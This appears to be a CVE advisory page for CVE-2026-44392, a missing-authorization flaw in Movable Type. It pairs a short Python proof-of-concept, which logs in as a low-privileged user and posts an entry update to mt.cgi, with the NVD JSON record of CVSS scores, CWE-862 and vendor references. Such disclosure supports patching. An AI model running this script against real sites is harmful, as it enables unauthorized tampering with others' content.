CVE-2026-44392

import requests # Target configuration target_host = "http://example.com" login_url = f"{target_host}/mt.cgi" vuln_url = f"{target_host}/mt.cgi?__mode=save&_type=entry" # Low-privileged user credentials credentials = { "username": "low_priv_user", "password": "user_password", "blog_id": "1" } session = requests.Session() # 1. Authenticate as low-privileged user print("[+] Logging in as low-privileged user...") login_resp = session.post(login_url, data=credentials) if login_resp.status_code == 200: # 2. Exploit Missing Authorization # Attempting to update an entry without admin rights payload = { "id": "1", "status": "2", # Attempt to publish "text": "Updated by CVE-2026-44392 Exploit" } print("[+] Sending exploit payload to trigger update...") exploit_resp = session.post(vuln_url, data=payload) if exploit_resp.status_code == 200 and "success" in exploit_resp.text: print("[!] Exploit successful! Unauthorized update performed.") else: print("[-] Exploit failed or patch applied.") else: print("[-] Login failed.")

{"cve": {"id": "CVE-2026-44392", "sourceIdentifier": "[email protected]", "published": "2026-05-20T07:16:15.317", "lastModified": "2026-05-20T14:25:17.977", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing authorization vulnerability exists in Movable Type. Under certain conditions, when a user without administrator privileges signs in to the product, unintended update processing may be executed."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN66473735/", "source": "[email protected]"}, {"url": "https://movabletype.org/news/2026/05/mt-908-released.html", "source": "[email protected]"}, {"url": "https://www.sixapart.jp/movabletype/news/2026/05/20-1100.html", "source": "[email protected]"}]}}